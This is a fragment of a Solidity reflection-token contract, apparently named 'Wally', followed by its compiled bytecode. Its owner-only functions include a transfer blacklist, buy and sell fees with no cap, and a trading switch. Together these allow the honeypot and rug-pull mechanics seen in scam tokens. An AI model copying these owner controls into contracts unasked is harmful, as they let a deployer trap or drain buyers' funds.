function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function allowPreTrading(address account, bool allowed) public onlyOwner {
require(preTrader[account] != allowed, "TOKEN: Already enabled.");
preTrader[account] = allowed;
}
}
|
0x6080604052600436106101e2576000357c010000000000000000000000000000000000000000000000000000000090048063715018a61161011457806398a5c315116100b2578063bfd7928411610081578063bfd7928414610643578063c3c8cd8014610680578063dd62ed3e14610697578063ea1644d5146106d4576101e9565b806398a5c31514610577578063a2a957bb146105a0578063a9059cbb146105c9578063bdd795ef14610606576101e9565b80638da5cb5b116100ee5780638da5cb5b146104cd5780638f70ccf7146104f85780638f9a55c01461052157806395d89b411461054c576101e9565b8063715018a61461046257806374010ece146104795780637d1db4a5146104a2576101e9565b80632fd689e3116101815780636b9990531161015b5780636b999053146103bc5780636d8aa8f8146103e55780636fc3eaec1461040e57806370a0823114610425576101e9565b80632fd689e31461033b578063313ce5671461036657806349bd5a5e14610391576101e9565b80631694505e116101bd5780631694505e1461027f57806318160ddd146102aa57806323b872dd146102d55780632f9c456914610312576101e9565b8062b8cf2a146101ee57806306fdde0314610217578063095ea7b314610242576101e9565b366101e957005b600080fd5b3480156101fa57600080fd5b5061021560048036038101906102109190612e32565b6106fd565b005b34801561022357600080fd5b5061022c61084d565b604051610239919061327b565b60405180910390f35b34801561024e57600080fd5b5061026960048036038101906102649190612df6565b61088a565b6040516102769190613245565b60405180910390f35b34801561028b57600080fd5b506102946108a8565b6040516102a19190613260565b60405180910390f35b3480156102b657600080fd5b506102bf6108ce565b6040516102cc919061345d565b60405180910390f35b3480156102e157600080fd5b506102fc60048036038101906102f79190612d6b565b6108e1565b6040516103099190613245565b60405180910390f35b34801561031e57600080fd5b5061033960048036038101906103349190612dba565b6109ba565b005b34801561034757600080fd5b50610350610b3d565b60405161035d919061345d565b60405180910390f35b34801561037257600080fd5b5061037b610b43565b60405161038891906134d2565b60405180910390f35b34801561039d57600080fd5b506103a6610b4c565b6040516103b3919061322a565b60405180910390f35b3480156103c857600080fd5b506103e360048036038101906103de9190612cdd565b610b72565b005b3480156103f157600080fd5b5061040c60048036038101906104079190612e73565b610c62565b005b34801561041a57600080fd5b50610423610d13565b005b34801561043157600080fd5b5061044c60048036038101906104479190612cdd565b610dfb565b604051610459919061345d565b60405180910390f35b34801561046e57600080fd5b50610477610e4c565b005b34801561048557600080fd5b506104a0600480360381019061049b9190612e9c565b610f9f565b005b3480156104ae57600080fd5b506104b761103e565b6040516104c4919061345d565b60405180910390f35b3480156104d957600080fd5b506104e2611044565b6040516104ef919061322a565b60405180910390f35b34801561050457600080fd5b5061051f600480360381019061051a9190612e73565b61106d565b005b34801561052d57600080fd5b5061053661111f565b604051610543919061345d565b60405180910390f35b34801561055857600080fd5b50610561611125565b60405161056e919061327b565b60405180910390f35b34801561058357600080fd5b5061059e60048036038101906105999190612e9c565b611162565b005b3480156105ac57600080fd5b506105c760048036038101906105c29190612ec5565b611201565b005b3480156105d557600080fd5b506105f060048036038101906105eb9190612df6565b6112b8565b6040516105fd9190613245565b60405180910390f35b34801561061257600080fd5b5061062d60048036038101906106289190612cdd565b6112d6565b60405161063a9190613245565b60405180910390f35b34801561064f57600080fd5b5061066a60048036038101906106659190612cdd565b6112f6565b6040516106779190613245565b60405180910390f35b34801561068c57600080fd5b50610695611316565b005b3480156106a357600080fd5b506106be60048036038101906106b99190612d2f565b6113ef565b6040516106cb919061345d565b60405180910390f35b3480156106e057600080fd5b506106fb60048036038101906106f69190612e9c565b611476565b005b610705611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610792576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610789906133bd565b60405180910390fd5b60005b8151811015610849576001601060008484815181106107dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061084190613797565b915050610795565b5050565b60606040518060400160405280600d81526020017f576865726527732057616c6c7900000000000000000000000000000000000000815250905090565b600061089e610897611515565b848461151d565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006a084595161401484a000000905090565b60006108ee8484846116e8565b6109af846108fa611515565b6109aa85604051806060016040528060288152602001613c7e60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610960611515565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611fc49092919063ffffffff16565b61151d565b600190509392505050565b6109c2611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906133bd565b60405180910390fd5b801515601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415610ae2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad99061337d565b60405180910390fd5b80601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610b7a611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c07576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfe906133bd565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610c6a611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cee906133bd565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610d54611515565b73ffffffffffffffffffffffffffffffffffffffff161480610dca5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610db2611515565b73ffffffffffffffffffffffffffffffffffffffff16145b610dd357600080fd5b60003073ffffffffffffffffffffffffffffffffffffffff16319050610df881612028565b50565b6000610e45600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612123565b9050919050565b610e54611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ee1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ed8906133bd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610fa7611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611034576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102b906133bd565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b611075611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611102576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110f9906133bd565b60405180910390fd5b80601660146101000a81548160ff02191690831515021790555050565b60185481565b60606040518060400160405280600581526020017f57616c6c79000000000000000000000000000000000000000000000000000000815250905090565b61116a611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111ee906133bd565b60405180910390fd5b8060198190555050565b611209611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906133bd565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006112cc6112c5611515565b84846116e8565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b60106020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611357611515565b73ffffffffffffffffffffffffffffffffffffffff1614806113cd5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166113b5611515565b73ffffffffffffffffffffffffffffffffffffffff16145b6113d657600080fd5b60006113e130610dfb565b90506113ec81612191565b50565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61147e611515565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461150b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611502906133bd565b60405180910390fd5b8060188190555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561158d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115849061343d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156115fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f49061331d565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516116db919061345d565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611758576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161174f906133fd565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156117c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117bf9061329d565b60405180910390fd5b6000811161180b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611802906133dd565b60405180910390fd5b611813611044565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156118815750611851611044565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cc357601660149054906101000a900460ff1661192757601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611926576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161191d906132bd565b60405180910390fd5b5b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611968611515565b73ffffffffffffffffffffffffffffffffffffffff1614806119de5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166119c6611515565b73ffffffffffffffffffffffffffffffffffffffff16145b806119eb57506017548111155b611a2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a21906132fd565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611ace5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b0d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b049061333d565b60405180910390fd5b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611bba5760185481611b6f84610dfb565b611b799190613593565b10611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb09061341d565b60405180910390fd5b5b6000611bc530610dfb565b9050600060195482101590506017548210611be05760175491505b808015611bfa5750601660159054906101000a900460ff16155b8015611c545750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6a575060168054906101000a900460ff165b15611cc057611c7882612191565b60003073ffffffffffffffffffffffffffffffffffffffff163190506000811115611cbe57611cbd3073ffffffffffffffffffffffffffffffffffffffff1631612028565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d6a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611e1d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611e1c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611e2b5760009050611fb2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611ed65750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611eee57600854600c81905550600954600d819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f995750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611fb157600a54600c81905550600b54600d819055505b5b611fbe848484846124c3565b50505050565b600083831115829061200c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612003919061327b565b60405180910390fd5b506000838561201b9190613674565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120786002846124f090919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156120a3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6120f46002846124f090919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561211f573d6000803e3d6000fd5b5050565b600060065482111561216a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612161906132dd565b60405180910390fd5b600061217461253a565b905061218981846124f090919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156121ef577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561221d5781602001602082028036833780820191505090505b509050308160008151811061225b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040160206040518083038186803b15801561231957600080fd5b505afa15801561232d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123519190612d06565b8160018151811061238b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506123f230601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461151d565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401612472959493929190613478565b600060405180830381600087803b15801561248c57600080fd5b505af11580156124a0573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b806124d1576124d0612565565b5b6124dc8484846125a8565b806124ea576124e9612773565b5b50505050565b600061253283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612787565b905092915050565b60008060006125476127ea565b9150915061255e81836124f090919063ffffffff16565b9250505090565b6000600c5414801561257957506000600d54145b15612583576125a6565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b6000806000806000806125ba87612852565b95509550955095509550955061261886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128ba90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126ad85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126f981612962565b6127038483612a1f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612760919061345d565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b600080831182906127ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127c5919061327b565b60405180910390fd5b50600083856127dd91906135e9565b9050809150509392505050565b6000806000600654905060006a084595161401484a00000090506128246a084595161401484a0000006006546124f090919063ffffffff16565b821015612845576006546a084595161401484a00000093509350505061284e565b81819350935050505b9091565b600080600080600080600080600061286f8a600c54600d54612a59565b925092509250600061287f61253a565b905060008060006128928e878787612aef565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006128fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611fc4565b905092915050565b60008082846129139190613593565b905083811015612958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294f9061335d565b60405180910390fd5b8091505092915050565b600061296c61253a565b905060006129838284612b7890919063ffffffff16565b90506129d781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461290490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612a34826006546128ba90919063ffffffff16565b600681905550612a4f8160075461290490919063ffffffff16565b6007819055505050565b600080600080612a856064612a77888a612b7890919063ffffffff16565b6124f090919063ffffffff16565b90506000612aaf6064612aa1888b612b7890919063ffffffff16565b6124f090919063ffffffff16565b90506000612ad882612aca858c6128ba90919063ffffffff16565b6128ba90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b088589612b7890919063ffffffff16565b90506000612b1f8689612b7890919063ffffffff16565b90506000612b368789612b7890919063ffffffff16565b90506000612b5f82612b5185876128ba90919063ffffffff16565b6128ba90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612b8b5760009050612bed565b60008284612b99919061361a565b9050828482612ba891906135e9565b14612be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bdf9061339d565b60405180910390fd5b809150505b92915050565b6000612c06612c0184613512565b6134ed565b90508083825260208201905082856020860282011115612c2557600080fd5b60005b85811015612c555781612c3b8882612c5f565b845260208401935060208301925050600181019050612c28565b5050509392505050565b600081359050612c6e81613c38565b92915050565b600081519050612c8381613c38565b92915050565b600082601f830112612c9a57600080fd5b8135612caa848260208601612bf3565b91505092915050565b600081359050612cc281613c4f565b92915050565b600081359050612cd781613c66565b92915050565b600060208284031215612cef57600080fd5b6000612cfd84828501612c5f565b91505092915050565b600060208284031215612d1857600080fd5b6000612d2684828501612c74565b91505092915050565b60008060408385031215612d4257600080fd5b6000612d5085828601612c5f565b9250506020612d6185828601612c5f565b9150509250929050565b600080600060608486031215612d8057600080fd5b6000612d8e86828701612c5f565b9350506020612d9f86828701612c5f565b9250506040612db086828701612cc8565b9150509250925092565b60008060408385031215612dcd57600080fd5b6000612ddb85828601612c5f565b9250506020612dec85828601612cb3565b9150509250929050565b60008060408385031215612e0957600080fd5b6000612e1785828601612c5f565b9250506020612e2885828601612cc8565b9150509250929050565b600060208284031215612e4457600080fd5b600082013567ffffffffffffffff811115612e5e57600080fd5b612e6a84828501612c89565b91505092915050565b600060208284031215612e8557600080fd5b6000612e9384828501612cb3565b91505092915050565b600060208284031215612eae57600080fd5b6000612ebc84828501612cc8565b91505092915050565b60008060008060808587031215612edb57600080fd5b6000612ee987828801612cc8565b9450506020612efa87828801612cc8565b9350506040612f0b87828801612cc8565b9250506060612f1c87828801612cc8565b91505092959194509250565b6000612f348383612f40565b60208301905092915050565b612f49816136a8565b82525050565b612f58816136a8565b82525050565b6000612f698261354e565b612f738185613571565b9350612f7e8361353e565b8060005b83811015612faf578151612f968882612f28565b9750612fa183613564565b925050600181019050612f82565b5085935050505092915050565b612fc5816136ba565b82525050565b612fd4816136fd565b82525050565b612fe381613721565b82525050565b6000612ff482613559565b612ffe8185613582565b935061300e818560208601613733565b6130178161386d565b840191505092915050565b600061302f602383613582565b915061303a8261387e565b604082019050919050565b6000613052603f83613582565b915061305d826138cd565b604082019050919050565b6000613075602a83613582565b91506130808261391c565b604082019050919050565b6000613098601c83613582565b91506130a38261396b565b602082019050919050565b60006130bb602283613582565b91506130c682613994565b604082019050919050565b60006130de602383613582565b91506130e9826139e3565b604082019050919050565b6000613101601b83613582565b915061310c82613a32565b602082019050919050565b6000613124601783613582565b915061312f82613a5b565b602082019050919050565b6000613147602183613582565b915061315282613a84565b604082019050919050565b600061316a602083613582565b915061317582613ad3565b602082019050919050565b600061318d602983613582565b915061319882613afc565b604082019050919050565b60006131b0602583613582565b91506131bb82613b4b565b604082019050919050565b60006131d3602383613582565b91506131de82613b9a565b604082019050919050565b60006131f6602483613582565b915061320182613be9565b604082019050919050565b613215816136e6565b82525050565b613224816136f0565b82525050565b600060208201905061323f6000830184612f4f565b92915050565b600060208201905061325a6000830184612fbc565b92915050565b60006020820190506132756000830184612fcb565b92915050565b600060208201905081810360008301526132958184612fe9565b905092915050565b600060208201905081810360008301526132b681613022565b9050919050565b600060208201905081810360008301526132d681613045565b9050919050565b600060208201905081810360008301526132f681613068565b9050919050565b600060208201905081810360008301526133168161308b565b9050919050565b60006020820190508181036000830152613336816130ae565b9050919050565b60006020820190508181036000830152613356816130d1565b9050919050565b60006020820190508181036000830152613376816130f4565b9050919050565b6000602082019050818103600083015261339681613117565b9050919050565b600060208201905081810360008301526133b68161313a565b9050919050565b600060208201905081810360008301526133d68161315d565b9050919050565b600060208201905081810360008301526133f681613180565b9050919050565b60006020820190508181036000830152613416816131a3565b9050919050565b60006020820190508181036000830152613436816131c6565b9050919050565b60006020820190508181036000830152613456816131e9565b9050919050565b6000602082019050613472600083018461320c565b92915050565b600060a08201905061348d600083018861320c565b61349a6020830187612fda565b81810360408301526134ac8186612f5e565b90506134bb6060830185612f4f565b6134c8608083018461320c565b9695505050505050565b60006020820190506134e7600083018461321b565b92915050565b60006134f7613508565b90506135038282613766565b919050565b6000604051905090565b600067ffffffffffffffff82111561352d5761352c61383e565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061359e826136e6565b91506135a9836136e6565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156135de576135dd6137e0565b5b828201905092915050565b60006135f4826136e6565b91506135ff836136e6565b92508261360f5761360e61380f565b5b828204905092915050565b6000613625826136e6565b9150613630836136e6565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613669576136686137e0565b5b828202905092915050565b600061367f826136e6565b915061368a836136e6565b92508282101561369d5761369c6137e0565b5b828203905092915050565b60006136b3826136c6565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006137088261370f565b9050919050565b600061371a826136c6565b9050919050565b600061372c826136e6565b9050919050565b60005b83811015613751578082015181840152602081019050613736565b83811115613760576000848401525b50505050565b61376f8261386d565b810181811067ffffffffffffffff8211171561378e5761378d61383e565b5b80604052